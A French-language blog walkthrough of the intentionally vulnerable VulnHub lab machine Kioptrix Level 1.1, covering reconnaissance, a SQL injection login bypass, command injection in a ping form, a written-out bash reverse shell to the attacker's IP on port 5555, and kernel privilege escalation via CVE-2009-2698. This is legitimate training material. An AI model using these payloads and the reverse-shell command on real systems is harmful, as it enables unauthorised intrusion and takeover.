Cybersecurity
  • Mon Blog
    • 🏠Home
    • 📦Archives
      • 2024
      • 2023
      • 2022
    • 📂Catégories
    • 📧A propos de moi
  • Mes projets
    • Livres / publications
      • Sécurité des applications web - Stratégies offensives et défensives
    • MyExpense
    • XSS Exploitation Tool
  • Mes Articles
    • 2025
      • Mars
        • Comment les requêtes préparées (prepared statement) protègent-elles contre les injections SQL ?
      • Janvier
        • XSS Exploitation Tool v0.7.0
    • 2024
      • Décembre
        • XSS Exploitation Tool v0.6.0
      • Septembre
        • MyExpense v1.4
      • Aout
        • XSS Exploitation Tool v0.5.0
        • Exploitation des injections SQL au sein de la clause ORDER BY
      • Juin
        • Parution de mon livre, Sécurité des applications web - Stratégies offensives et défensives
      • Mai
        • Dompurify 3.0.10 bypass - Confusion nodeName and CDATA
        • Dompurify 3.0.9 bypass - Node type confusion
      • Avril
        • Bypass de validation d'URL et embedded credentials côté front
      • Mars
        • MyExpense v1.3
    • 2023
      • Mai
        • MyExpense v1.2
      • Mars
        • MyExpense v1.1
        • Fonctionnement de l'entête X-Content-Type-Options - Contournement de CSP
      • Février
        • Fonctionnement de l'entête HTTP Strict Transport Security Header (HSTS)
    • 2022
      • Décembre
        • Les injections CSS - Règle @import
        • Les injections CSS - Scroll-to-Text Fragment
      • Novembre
        • Les injections CSS - Attribute Selector
        • Les injections CSS - Règle @font-face et descripteur unicode
      • Octobre
        • XSS Exploitation Tool v0.4.0
      • Septembre
        • Cross-Site Scripting (XSS) et schéma d'URI javascript
      • Juillet
        • SAST - PHP CodeSniffer orienté sécurité dans Visual Studio (sous Windows)
        • SAST - PHP CodeSniffer orienté sécurité dans Visual Studio (sous Debian)
        • Est-il possible de contourner la fonction PHP htmlspecialchars() ?
  • Common Vulnerabilities and Exposures (CVE)
    • 2024
      • CVE-2024-29415
    • 2023
      • CVE-2023-42282
    • 2022
      • CVE-2022-33910
      • CVE-2022-32444
      • CVE-2022-32442
    • 2020
      • CVE-2020-26311
  • Livres
    • 2023
      • Attacking and Exploiting Modern Web Applications
      • DevSecOps - Développez et administrez vos services en toute sécurité
    • 2022
      • Hacking APIs - Breaking Web Application Programming Interfaces
    • 2018
      • Practical Web Penetration Testing
      • Web Hacking 101: How to Make Money Hacking Ethically
  • Walkthroughs
    • Capture The Flag
      • Hack.lu CTF 2019
        • Nucular Power Plant
      • TAMUctf 2019
        • 1337 Secur1ty
        • Bird Box Challenge
        • Science!
    • Deliberately Vulnerable
      • CORS vulnerable Lab
        • Application Trust Arbritrary Origin
        • Application has bad "regex" Implementation to check Trusted Origin
        • Application Trust "null" Origin
      • Damn Vulnerable Web Application (DVWA)
        • Brute Force
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Command Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSRF
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Inclusion
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Upload
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Insecure CAPTCHA
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection (Blind)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Weak Session IDs
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (DOM)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Reflected)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Stored)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSP Bypass
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Javascript
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
      • Unescape() room
        • Level 1 (practice)
        • Level 2 (practice)
        • Level 3 (practice)
        • Level 4 (practice)
        • Level 5 (practice)
        • Level 6 (practice)
        • Level 7 (practice)
        • Level 8 (practice)
        • Level 9 (practice)
        • Level 10 (practice)
      • VulnHub
        • GoatseLinux: 1
        • Hackademic: RTB1
        • Hackademic: RTB2
        • Holynix: v1
        • Holynix: v2
        • Kioptrix: Level 1 (#1)
        • Kioptrix: Level 1.1 (#2)
        • Kioptrix: Level 1.2 (#3)
        • Kioptrix: Level 1.3 (#4)
        • LAMPSecurity: CTF4
        • LAMPSecurity: CTF5
        • LAMPSecurity: CTF6
        • Metasploitable: 1
        • pWnOS 1.0
        • pWnOS 2.0 (Pre-Release)
      • XSS Vulnerability Challenges
        • xss1
        • xss2
        • xss3
        • xss4
        • xss5
        • xxs6
        • xss7
        • xss8
Propulsé par GitBook
Sur cette page
  • Détails de la machine
  • Reconnaissance
  • Serveur HTTP
  • Serveur d'impression
  • MySQL
  • Exploitation
  • Injection de commande
  • Élévation de privilèges
  • Conclusion
  1. Walkthroughs
  2. Deliberately Vulnerable
  3. VulnHub

Kioptrix: Level 1.1 (#2)

PrécédentKioptrix: Level 1 (#1)SuivantKioptrix: Level 1.2 (#3)

Dernière mise à jour il y a 2 ans

Détails de la machine

Nom : Kioptrix: Level 1.1 (#2) Date de sortie : 11 Février 2011 Lien de téléchargement : Niveau : Facile Objectif(s) : obtenir un accès "root" Description : This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges. This is the second release of #2. First release had a bug in it with the web application 2012/Feb/09: Re-releases 2011/Feb/11: Original Release

Reconnaissance

netdicover permet d'identifier l'adresse IP 192.168.1.15 comme étant la victime :

Suivi de nmap afin de scanner les services s'exécutant sur la machine :

Résultat : un service SSH, un serveur web (en version HTTP et HTTPS), un serveur d'impression CUPS ainsi qu'une base de données MySQL.

Serveur HTTP

Je commence directement par l'analyse du serveur web car je n'ai rien identifié de pertinent concernant la version 3.9 d'OpenSSH. Les résultats du dirb ainsi que du nikto ne donne rien de particulièrement intéressant non plus :

La sortie est tronquée avec un -r mais rien d'intéressant même dans les sous-dossiers. Voici la sortie du nikto :

Je passe donc à l'analyse manuelle du site web. La page d'accueil est une mire d'authentification. Après quelques weaks credentials je tente de détecter une injection SQL avec un simple ' OR 1=1 -- :

Cela fonctionne et me permet de récupérer la prochaine page qui est une fonction permettant de pinger une machine du réseau (ça sent l'injection de commande) :

Je tente la plus simple des injections avec le caractère ; permettant de séparer des commandes :

Je récupère l'id du compte apache qui exécute le serveur web. L'injection de commande est confirmée.

Serveur d'impression

Cups est un serveur d'impression permettant aux utilisateurs de configurer les différents imprimantes. Pour cela il est également possible d'accéder au service par son interface web, dans mon cas un "403 - Forbidden" nous l'interdit :

La version utilisée de CUPS est la version 1.1, elle est vulnérable au moins à la CVE suivante (car je n'ai pas beaucoup cherché mais il semble que d'autres CVE soient disponibles pour cette version) :

MySQL

Je ne connais pas la version du système de base de données afin de déterminer si le service est vulnérable à certaines CVE.

Exploitation

Injection de commande

Il est facile de récupérer un shell grâce à l'injection de commande. netcat ne semble pas disponible sur la machine cible, je suis donc passé par un bash grâce à la commande ;bash -i >& /dev/tcp/192.168.1.89/5555 0<&1. Afin de l'utiliser dans la requête POST je l'ai préalablement encodée avec un encodage URL :

Côté machine d'attaque, un netcat en écoute sur le port 5555 :

Élévation de privilèges

Un uname -a m'indique une version de kernel 2.6.9 sur une Fedora 4.5 qui est vulnérable à la CVE-2009-2698 :

Voici la CVE :

Conclusion

Il est également possible de récupérer les credentials de MySQL en affichant le fichier "index.php" du site web (soit une fois le shell récupéré ou alors via l'injection de commande) :

L'accès est refusé à partir d'une autre machine, mais une fois le shell récupéré grâce à l'injection de commande le contenu de la base est accessible :

Mais aucun des mots de passe ("hiroshima", ou "66lajGGbla") ne semble être le mot de passe du compte de "john" pour un accès en SSH. Pour information voici le contenu du fichier "/etc/passwd" :

Je n'ai pas était plus loin dans la compromission des comptes existants, aucun mot de passe ne semble traîner dans un fichier quelconque.

Cette machine était très facile et donc parfaite pour commencer le pentest. Rien de compliqué, des failles web et un LPE à coup d'exploit d'un kernel vulnérable.

Une fois l'exploit () compilé et exécuté, j'obtiens les droits "root" :

https://www.exploit-db.com/exploits/9542
http://www.kioptrix.com/dlvm/Kioptrix_Level_2.rar